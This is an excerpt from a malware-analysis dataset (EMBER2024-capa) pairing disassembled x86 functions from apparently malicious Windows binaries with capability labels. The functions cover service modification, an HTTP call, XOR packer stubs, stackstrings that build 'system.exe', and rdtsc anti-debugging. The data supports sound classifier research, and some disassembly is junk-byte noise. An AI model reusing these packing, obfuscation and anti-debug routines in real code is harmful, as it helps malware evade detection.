joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.averylongurlthatdecidesifyoupasstheexamxD.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
jne 0x4081bc
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10
call esi
push edi
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x5c74492
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x4df363a9
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401fc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push 0x4ee61051
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x23c], eax
push 0x384977d3
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00401100
add esp, 8
mov dword [ebp - 0x238], eax
push 0x7f8a
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
push eax
call dword [ebp - 0x238]
call fcn.00401c60
call fcn.004012e0
push 0x660c1c02
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x240], eax
push 0x104
lea edx, [ebp - 0x220]
push edx
push 0
call dword [ebp - 0x240]
push 0x214c6981
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x224], eax
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [ebp - 0x224]
mov byte [ebp - 0x234], 0x5c
mov byte [ebp - 0x233], 0x5c
mov byte [ebp - 0x232], 0x73
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x73
mov byte [ebp - 0x22f], 0x74
mov byte [ebp - 0x22e], 0x65
mov byte [ebp - 0x22d], 0x6d
mov byte [ebp - 0x22c], 0x2e
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x78
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0
lea ecx, [ebp - 0x234]
push ecx
lea edx, [ebp - 0x118]
push edx
call fcn.004021e0
add esp, 8
push 1
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x220]
push ecx
call dword [ebp - 0x10]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x404433
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403321
and dword [ebp - 4], 0
cmp dword [0x424660], 0
mov ebx, eax
jne 0x4044e4
push 0x409868
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404595
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40985c
push edi
call esi
test eax, eax
je 0x404595
push eax
call fcn.004032af
mov dword [esp], 0x40984c
push edi
mov dword [0x424660], eax
call esi
push eax
call fcn.004032af
mov dword [esp], 0x409838
push edi
mov dword [0x424664], eax
call esi
push eax
call fcn.004032af
mov dword [esp], 0x40981c
push edi
mov dword [0x424668], eax
call esi
push eax
call fcn.004032af
pop ecx
mov dword [0x424670], eax
test eax, eax
je 0x4044e4
push 0x409804
push edi
call esi
push eax
call fcn.004032af
pop ecx
mov dword [0x42466c], eax
mov eax, dword [0x42466c]
cmp eax, ebx
je 0x40453c
cmp dword [0x424670], ebx
je 0x40453c
push eax
call fcn.0040332a
push dword [0x424670]
mov esi, eax
call fcn.0040332a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40453c
test edi, edi
je 0x40453c
call esi
test eax, eax
je 0x404533
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404533
test byte [ebp - 0xc], 1
jne 0x40453c
or dword [ebp + 0x10], 0x200000
jmp 0x404575
mov eax, dword [0x424664]
cmp eax, ebx
je 0x404575
push eax
call fcn.0040332a
pop ecx
test eax, eax
je 0x404575
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404575
mov eax, dword [0x424668]
cmp eax, ebx
je 0x404575
push eax
call fcn.0040332a
pop ecx
test eax, eax
je 0x404575
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x424660]
call fcn.0040332a
pop ecx
test eax, eax
je 0x404595
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404597
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40620e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b9f8]
jne 0x406218
repz ret
jmp fcn.00407935
Function at 0x805b1c
Capabilities:
Execute anti-debugging instructions

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call 0x805b4e
push 0xf07f702c
jmp 0x805c27
mov cx, bx
lea esi, [esp + edi]
inc ax
jmp 0x805c4c
jb 0x805c62
mov dx, word [esp]
jmp 0x805c66
mov dx, word [esp]
mov ebp, dword [esp + 0x2c]

Function at 0x807986
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf07f702c
call fcn.00807a36
lcall 0x148b, 0x6617e4f5
and al, 0x8b
insb byte es:[edi], dx
and al, 0x2c
lea ebx, [edx + ebx]
jmp 0x805c73
mov si, word [esp]
push ebx
lea edi, [esp + 4]
mov ecx, dword [esp]
rdtsc
jmp 0x805cd2
jg 0x805cb1
sbb eax, esi
mov ax, 0xca06
jmp 0x805cb7
sbb eax, esi
mov ax, 0xca06
mov edx, ebp
jmp 0x805d20
mov al, 0xc7
sub esp, 4
mov ax, word [esp]
neg ax
push bp
call fcn.00805d59
mov bl, 0xaa
lds esi, [edi + ecx + 0x31]
rdtsc
sub esp, 0xbc
mov esi, esp
btc cx, cx
jmp 0x805c9b
push bp
call fcn.00805dab
add eax, 0xc92ad963
jmp 0x8092a3
sub esp, 4
mov ax, word [esp]
neg ax
jmp 0x805ce2
add eax, 0xb3686419
jmp 0x8092df
mov ax, cx
sub esp, 0x10
jno 0x805cbb
mov al, 0xc7
jmp 0x805cf8
mov dword [esp + 0x1c], edi
jmp 0x807990
lea esp, [esp + 0x1c]
jmp 0x8079af
pushfd
jmp 0x805c54
mov bx, word [esp]
mov bx, si
lea ebx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
jmp 0x8092fe
setno bl
lea esp, [esp]
lea esp, [esp + 1]
jmp 0x805d11
not ebx
jmp 0x8092c5
jmp 0x809330
lea ebx, [eax*4]
mov ebx, 0x21c3f07a
jmp 0x80931a
mov eax, dword [eax + reloc.IPHLPAPI.DLL_GetInterfaceInfo]
sub esp, 5
jbe 0x8092db
not ebx
setno bl
lea esp, [esp]
lea esp, [esp + 1]
jmp 0x805d11
mov esp, edi
mov ebx, 0x20360ad
lea ebx, [edx + ebx]
mov bh, ah
jmp 0x809343
rol bx, cl
jne 0x8092e1
lea ebx, [eax*4]
mov ebx, 0x21c3f07a
jmp 0x80931a
push eax
ret

Function at 0x809c40
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushal
xchg dword [esp + 0x20], esi
pushfd
push dword [esp]
push dword [esp + 1]
jmp 0x809cbb
pop dword [esp]
lea esi, [esi + 0x5d]
call fcn.00809c8b
Function at 0x873450
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebx
jmp 0x87363b
mov dword [esp + 0x10], edi
jmp 0x87345b
call fcn.008734e9
dec ebp
fsubr qword [edi]
frstor dword ss:[ebp + ebp*8 - reloc.IPHLPAPI.DLL_GetInterfaceInfo]
pop esp
dec eax
pop edx
mov ch, 0xa4
xlatb
jmp 0x873477
lea esp, [esp + 4]
jmp 0x7fc9b7
cmp dword [eax], edi
jmp 0x8734a5
push esi
mov esi, 0x805a20
mov dword [esi], eax
pop esi
jmp 0x873452
jbe 0x7fc97c
ja 0x7fca1b
cmp dword [esi + reloc.IPHLPAPI.DLL_GetInterfaceInfo], esp
dec ecx
fisttp dword [ebx + 0x2e]
invalid
mov ecx, ebx
jmp fcn.0087365d

Function at 0x8734e9
Capabilities:
Execute anti-debugging instructions

Disassembly:
inc dword [esp + 0x10]
bts cx, cx
jmp 0x8735fd
call fcn.0087419a
bt cx, ax
jmp 0x87354b
jne 0x7fc966
mov esi, dword [esp]
lea esi, [esi*4]
jmp 0x8734f7
push dword [esp + 1]
lea esp, [esp + 8]
cmp ebx, dword [eax + edi + 4]
jmp 0x8734d3
xor esi, esi
call 0x8734ff
insb byte es:[edi], dx
lea esp, [esp + 4]
cmp dword [eax + edi + 8], esi
jmp 0x8735b2
mov eax, dword [ebp + 0xc]
pushal
push word [esp]
lea esp, [esp + 2]
jmp 0x873576
mov ecx, dword [eax + edi + 0xc]
lea eax, reloc.IPHLPAPI.DLL_GetInterfaceInfo
add ecx, dword [esp + 0x14]
mov eax, 0x404ea541
jmp 0x87352d
pushfd
pop dword [esp]
jmp 0x87359a
lea esp, [esp + 0x20]
call fcn.00813bf2
test eax, eax
pushfd
jmp 0x873560
lea esp, [esp + 4]
je 0x7fc992
call fcn.00873584
invalid
jbe 0x7fc966
bt ecx, ebx
and dword [esp + 0x14], esi
jmp 0x7fca5c
mov ecx, dword [esp + 0x10]
sub esp, 0x16
pop word [esp + 0xa]
mov byte [esp + 6], ah
jmp 0x873651
lea esp, [esp + 4]
jb 0x7fca1b
jae 0x7fc97c
outsd dx, dword [esi]
in al, 0x7a
sbb eax, 0x10915cec
mov eax, dword [0x805a20]
pushal
lea esp, [esp + 0x24]
add dword [esp + 0x14], 0x14
call fcn.008735da
lea esp, [esp + 0x14]
add edi, 0xc
cmp ecx, dword [eax]
push eax
jmp 0x87360f

Function at 0x8734ff
Capabilities:
Execute anti-debugging instructions

Disassembly:
inc dword [esp + 0x10]
bts cx, cx
jmp 0x8735fd
call fcn.0087419a
bt cx, ax
jmp 0x87354b
jne 0x7fc966
mov esi, dword [esp]
lea esi, [esi*4]
jmp 0x8734f7
push dword [esp + 1]
lea esp, [esp + 8]
cmp ebx, dword [eax + edi + 4]
jmp 0x8734d3
xor esi, esi
call 0x8734ff
insb byte es:[edi], dx
lea esp, [esp + 4]
cmp dword [eax + edi + 8], esi
jmp 0x8735b2
mov eax, dword [ebp + 0xc]
pushal
push word [esp]
lea esp, [esp + 2]
jmp 0x873576
mov ecx, dword [eax + edi + 0xc]
lea eax, reloc.IPHLPAPI.DLL_GetInterfaceInfo
add ecx, dword [esp + 0x14]
mov eax, 0x404ea541
jmp 0x87352d
pushfd
pop dword [esp]
jmp 0x87359a
lea esp, [esp + 0x20]
call fcn.00813bf2
test eax, eax
pushfd
jmp 0x873560
lea esp, [esp + 4]
je 0x7fc992
call fcn.00873584
invalid
jbe 0x7fc966
bt ecx, ebx
and dword [esp + 0x14], esi
jmp 0x7fca5c
mov ecx, dword [esp + 0x10]
sub esp, 0x16
pop word [esp + 0xa]
mov byte [esp + 6], ah
jmp 0x873651
lea esp, [esp + 4]
jb 0x7fca1b
jae 0x7fc97c
outsd dx, dword [esi]
in al, 0x7a
sbb eax, 0x10915cec
mov eax, dword [0x805a20]
pushal
lea esp, [esp + 0x24]
add dword [esp + 0x14], 0x14
call fcn.008735da
lea esp, [esp + 0x14]
add edi, 0xc
cmp ecx, dword [eax]
push eax
jmp 0x87360f
Function at 0x873695
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp], bx
push word [esp + 1]
lea esp, [esp + 2]
jmp 0x873803
cmp ecx, esi
push si
push di
mov byte [esp], cl
lea esp, [esp + 4]
jmp 0x8736bf
add edi, ebx
lea esp, [esp + 0xc]
mov dword [esp + 0x2c], ecx
jmp 0x8736e5

Function at 0x8bd87f
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x8bd8c8
mov dword [esp], esi
mov eax, 0x8611aa1b
inc bl
stc
pop word [esp]
jmp 0x8bd8b2
or bx, 0x4e4e
mov eax, dword [esp]
mov eax, ebp
mov bh, byte [esp + 2]
mov bh, byte [esp + 2]
jmp 0x8bd881

Function at 0x8bdd51
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop bx
setl bh
mov bx, 0x9aae
lea edx, [ecx + edi]
jmp 0x8bdd85
bswap eax
neg dx
push word [esp + 1]
xchg word [esp + 2], dx
mov edx, dword [esp + 2]
ror bx, cl
jmp 0x8bdd6f
Function at 0x8be1e4
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 0x10], ah
mov dx, bp
lea edx, [ebx*4]
jmp 0x8be21b
mov dx, word [esp + 0xf]
lea eax, [edx*4]
pop eax
stc
jmp 0x8be298
bsr edx, edx
mov dx, bp
neg bx
pop word [esp + 5]
jmp 0x8be205
or ebx, esp
xchg byte [esp + 0x20], dh
mov bl, bh
push dword [esp + 0x12]
jmp 0x8be271
xchg dh, ah
neg ah
mov dh, 0x33
lea ebx, [esi*4]
cld
mov ah, byte [esp + 0x2d]
jmp 0x8be247
mov eax, 0x5f5c5c1
pushal
lea esp, [esp + 0x52]
setne dh
btc ax, bx
inc dh
jmp 0x8be2fc
push word [esp]
mov ax, word [esp + 0x12]
cmc
lea eax, [edx*4]
dec eax
sub esp, 0x13
jmp 0x8be25d
xchg word [esp + 0xf], dx
bswap ebx
inc dx
pop dword [esp + 0x18]
rdtsc
sub esp, 2
jmp 0x8be2e4
pop edx
mov ah, 0x7d
lea ebx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
pop word [esp + 0xf]
mov ah, 0xa8
sub esp, 0x10
jmp 0x8be2af
push dword [esp + 0x15]
mov byte [esp + 0x12], dl
mov dword [esp + 0x28], esp
dec dh
mov byte [esp + 8], bl
jmp 0x8be324
pushal
cld
push dword [esp + 0x16]
mov al, byte [esp + 0x1a]
pop word [esp]
dec bx
jmp 0x8be2cf
sub esp, 0xe
xchg word [esp + 0x2a], dx
mov byte [esp + 0x38], dl
push bx
jmp 0x8be370
mov ebx, 0xde649cc6
lea ebx, [esp + eax]
rdtsc
xchg bh, bl
xchg byte [esp + 0x22], dh
push word [esp + 0x25]
jmp 0x8be30e
lea edx, [eax*4]
cmc
mov dx, word [esp]
rol bx, cl
mov edx, ebx
pushfd
jmp 0x8be399
push dword [esp + 0x3e]
lea esp, [esp + 0x44]
xchg dx, ax
rdtsc
mov eax, dword [esp]
stc
jmp 0x8be358
lea eax, [ebx + 0x1e]
mov dword [esp], edx
or ebx, ebx
mov bl, cl
mov dword [esp], ecx
lea esp, [esp + 1]
jmp 0x8be3d1
setae dl
mov dword [esp], eax
dec bx
inc eax
bsr bx, sp
xchg bx, dx
jmp 0x8be382
mov bx, si
bswap eax
neg dl
lea edx, [ecx + edi]
cmc
call fcn.008be3ab
mov al, 0x25
std
sub esp, 0x1a
sub esp, 0xc
clc
setne al
jmp 0x8be63d
mov bh, 0x24
rol eax, cl
bswap edx
lea eax, [eax*4]
rdtsc
jmp 0x8be499
inc eax
push word [esp + 0x32]
pop ax
push dword [esp + 0xd]
bswap eax
pop ebx
jmp 0x8be425
xchg dx, ax
neg dh
rol al, 4
mov byte [esp + 6], cl
cld
pushfd
jmp 0x8be43b
xchg ebx, edx
lea esp, [esp + 0x33]
sub esp, 0
mov word [esp], cx
mov eax, dword [esp]
jmp 0x8be4f6
push word [esp + 0x30]
dec ax
rdtsc
xchg edx, eax
ror ax, 0
not ah
jmp 0x8be462
lea edx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
bswap ebx
lea edx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
ror edx, cl
pop bx
mov word [esp + 0x11], di
jmp 0x8be478
rdtsc
call fcn.008be4b2
mov al, byte [esp + 7]
xchg dword [esp + 0x11], ebx
cld
setno dh
clc
push dword [esp + 0x1e]
jmp 0x8be522
xchg bh, dl
lea edx, [ebp*4]
add eax, ecx
dec bh
xor bx, 0x71ab
push ax
jmp 0x8be4c8
lea esp, [esp + 0xb]
lea ebx, [ecx - 0xe2]
add esp, 0x20
lea esp, [esp + 2]
setnp al
call fcn.008be50c
jnp 0x6a19635c
cmpsd dword [esi], dword es:[edi]
sub al, 0xa2
lds esi, [ebx + edx*4]
mov ecx, 0xcafefb98
dec dl
xchg byte [esp + 0x12], bl
adc eax, esp
push dword [esp + 0x12]
push dword [esp + 0xb]
ror ax, cl
jmp 0x8be452
cmp ax, 0x1838
xchg dword [esp + 7], ebx
bt ebx, eax
bts bx, ax
inc bl
mov dx, bx
jmp 0x8be54a
mov byte [esp + 9], dl
mov edx, 0xec6561d1
pop word [esp + 0xe]
lea edx, [edx + esi]
btc edx, edx
not dx
jmp 0x8be59e
Function at 0x8be3ab
Capabilities:
Execute anti-debugging instructions

Disassembly:
rcr eax, 0x12
jmp 0x8be3b4
mov eax, dword [esp + 3]
add esp, 1
mov bx, 0x4ef
clc
bswap ebx
bt bx, ax
jmp 0x8be3f7
not edx
mov ax, word [esp + 3]
xchg byte [esp + 4], al
cmc
mov dl, 0x29
mov dword [esp], ebx
jmp 0x8be3e1

Function at 0x8be50c
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 1], ch
jmp 0x8be578
rdtsc
mov edx, 0x382b70ee
cmp ax, 0x82b9
lea ebx, [edi + 0x56]
jmp 0x8be5ca
push dword [esp + 3]
xchg word [esp + 8], ax
bswap edx
lea ebx, [ecx*4]
sub esp, 0x16
mov byte [esp + 0xa], bh
jmp 0x8be562
mov bl, 0x7f
mov bh, byte [esp + 0xa]
add esp, 0x1b
mov dword [esp], ebx
rdtsc
jmp 0x8be5f5
lea eax, reloc.IPHLPAPI.DLL_GetInterfaceInfo
stc
mov dword [esp + 2], ecx
mov ebx, 0xb5d1a11f
mov al, ah
stc
jmp 0x8be5b4
push bx
mov word [esp + 5], bx
setnp dh
pop eax
mov dword [esp], ebp
rcl dh, cl
jmp 0x8be625
setp al
not dx
lea edx, [edi*4]
bsr ebx, edx
push word [esp]
lea edx, [esp + 0x48]
jmp 0x8be5df
mov ax, word [esp + 4]
neg ah
bsf ax, bp
push word [esp + 1]
jmp 0x8be659
neg ax
xor bl, 2
lea edx, [ecx*4]
bswap edx
jmp 0x8be60f
push ecx
xchg dx, ax
cld
mov bh, byte [esp + 6]
lea edx, [ebx + ebp]
xchg dword [esp + 5], ebx
jmp 0x8bef5c
rcr ah, cl
clc
std
lea edx, [ecx*4]
not ah
call fcn.008be691
push dword [esp + 0xc]
mov dx, si
mov dword [esp + 0xa], esp
lea esp, [esp + 0xc]
mov bl, 0xc3
pop edx
jmp 0x8be6a7
dec dh
not dh
pop dword [esp + 1]
bsr ebx, ebp
xchg byte [esp + 3], ah
lea eax, [esi + edi]
jmp 0x8be6d9
push dword [esp + 7]
mov byte [esp + 8], dl
xchg bx, ax
xchg ah, al
xchg ebx, eax
mov eax, esi
jmp 0x8be728
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x498eb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x69000]
push edi
or ebp, 0xffffffff
jmp 0x498ed2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x498ed9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x498ec8
mov eax, 1
add ebx, ebx
jne 0x498eeb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x498efc
jne 0x498f1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x498f1b
dec eax
add ebx, ebx
jne 0x498f08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x498ee0
add ebx, ebx
jne 0x498f17
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x498f6d
xor ecx, ecx
sub eax, 3
jb 0x498f33
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x498fa2
sar eax, 1
mov ebp, eax
jmp 0x498f3e
add ebx, ebx
jne 0x498f3e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x498f0c
inc ecx
add ebx, ebx
jne 0x498f4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x498f0c
add ebx, ebx
jne 0x498f59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x498f4e
jne 0x498f6a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x498f4e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x498f8c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x498f7e
jmp 0x498ece
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x498f8c
add edi, ecx
jmp 0x498ece
pop esi
mov edi, esi
mov ecx, 0x317b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x498faa
cmp byte [edi], 0x14
jne 0x498faa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x498faf
lea edi, [esi + 0x95000]
mov eax, dword [edi]
or eax, eax
je 0x49901e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9aaf8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9abc0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x498fdc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9abc4]
or eax, eax
je 0x499018
mov dword [ebx], eax
add ebx, 4
jmp 0x498ff9
call dword [esi + 0x9abd4]
mov ebp, dword [esi + 0x9abc8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x499052
sub esp, 0xffffff80
jmp 0x465798
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x4240434a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..rsrc_1
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x33105fbe
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x3a295432
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x5696dea
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219